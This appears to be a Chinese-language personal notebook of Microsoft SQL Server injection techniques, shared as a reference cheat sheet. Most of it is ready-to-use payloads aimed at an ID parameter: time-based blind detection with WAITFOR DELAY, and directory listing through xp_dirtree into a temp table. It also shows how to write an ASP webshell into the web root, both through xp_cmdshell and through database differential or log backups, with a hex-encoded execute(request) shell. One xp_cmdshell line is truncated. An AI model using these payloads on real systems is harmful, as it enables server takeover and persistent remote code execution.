在一些大公司,通常都是使用mysql+php+apache的居多,对Microsoft SQL Server 注入实战相对就较少,平时在处理漏洞或者测试时,对于一些有学习价值的注入测试思路、sql语句都会文本备忘下,这里索性就将sql server注入笔记放上来,便于查询。
在一些盲注中,尤其是没有过多错误回显信息的情况下,若语句执行成功就返回正常,若失败就弹框提示“服务器连接超时”之类的错误提示,连爆表、爆字段的机会都没有。最初,查询db_owner、sysadmin、xp_cmdshell都是有权限的,如下所示:
但是,每次用sqlmqp的--sql-shell的功能执行insert总是失败。后来直接在浏览器上测试insert语句发现执行失败,可见sqlmap的sql-shell功能对语句是否执行功能的判断还是比较有限的,啥也没返回。
1、判断注入大多是and 1=1之类的语句,也经常被过滤掉,这里备忘下sql server基于时间的注入判断:
test.aspx?ID=300 WAITFOR DELAY '0:0:5'--
2、最初通过xp_regread读取注册表值来获取web路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots,但是返回为空,于是就采用下列方法遍历C盘,并将结果写入临时表中(注意:在执行扩展存储功能时,所创建的表段应于扩展存储功能的参数相一致,否则会出错!):
test.aspx?ID=300;CREATE TABLE TMP([ID] int IDENTITY (1,1) NOT NULL,[name] [nvarchar] (300) NOT NULL,[depth] [int] NOT NULL,[isfile] [nvarchar] (50) NULL);insert into tmp exec master..xp_dirtree 'c:/',1,1
用sqlmap把表TMP中的值跑出来:
比如站点主目录位于默认路径C:/inetpub/wwwroot,那么通过以下命令可写入一句话木马,其中的中括号前面需要使用^转义:
test.aspx?ID=300;exec master..xp_cmdshell 'echo ^
test.asp?ID=300;backup database 数据库名 to disk='c:/inetpub/wwwroot/d.asp' WITH DIFFERENTIAL,FORMAT;-- 只备份差异数据到asp文件中
或者通过log备份写入:
test.asp?ID=300;alter database dbname set RECOVER FULL; 设置数据库为完全恢复模式,以允许备份日志
test.asp?ID=300;create table cmd(a image);
test.asp?ID=300;backup log dbname do disk='c:\cmd' with init; 初始化日志
test.asp?ID=300;insert into cmd(a) values(0x3C25657865637574652872657175657374282261222929253E); 插入一句话木马
test.asp?ID=300;backup log dbname to disk='c:/inetpub/wwwroot/d.asp';drop table cmd;-- 备份包含木马的日志,并删除创建表